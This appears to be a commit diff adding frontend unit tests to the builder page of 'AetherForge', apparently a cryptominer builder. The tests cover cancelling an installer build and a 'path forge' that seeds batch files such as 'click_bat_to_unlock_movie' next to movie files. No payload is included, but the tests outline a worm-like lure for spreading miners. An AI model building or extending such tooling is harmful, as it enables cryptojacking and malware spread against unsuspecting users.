Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -346,4 +346,87 @@ describe('BuilderPage', () => {
});
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
});
it('calls cancelBuild when Kill Build is clicked during single forge', async () => {
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
vi.spyOn(api, 'buildAgent').mockReturnValue(new Promise<BuildResult>(() => {}));
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Compiling', pct: 10 }),
}));
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
const killBtn = await screen.findByRole('button', { name: /Kill Build/i });
fireEvent.click(killBtn);
await waitFor(() => {
expect(cancelSpy).toHaveBeenCalled();
});
});
it('submits path forge and shows placement summary', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({
success: true,
placed: 3,
total: 1,
skipped: 2,
errors: 0,
results: [{ source: 'movie.mkv', files: ['movie.bat', 'click_bat_to_unlock_movie'] }],
}),
});
vi.stubGlobal('fetch', fetchMock);
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
const pathInput = within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i);
fireEvent.change(pathInput, { target: { value: 'D:\\Movies' } });
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
expect(await screen.findByText(/3 files placed across 1 source files/i)).toBeInTheDocument();
expect(fetchMock).toHaveBeenCalledWith(
'/api/v1/builder/path-forge',
expect.objectContaining({ method: 'POST' }),
);
});
it('shows path forge busy state while seeding', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
let resolveForge!: (value: Response) => void;
const fetchMock = vi.fn().mockReturnValue(
new Promise<Response>((resolve) => {
resolveForge = resolve;
}),
);
vi.stubGlobal('fetch', fetchMock);
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
fireEvent.change(within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i), {
target: { value: 'D:\\Movies' },
});
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
expect(await screen.findByRole('button', { name: /Seeding/i })).toBeDisabled();
resolveForge({
ok: true,
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
} as Response);
await waitFor(() => {
expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled();
});
});
});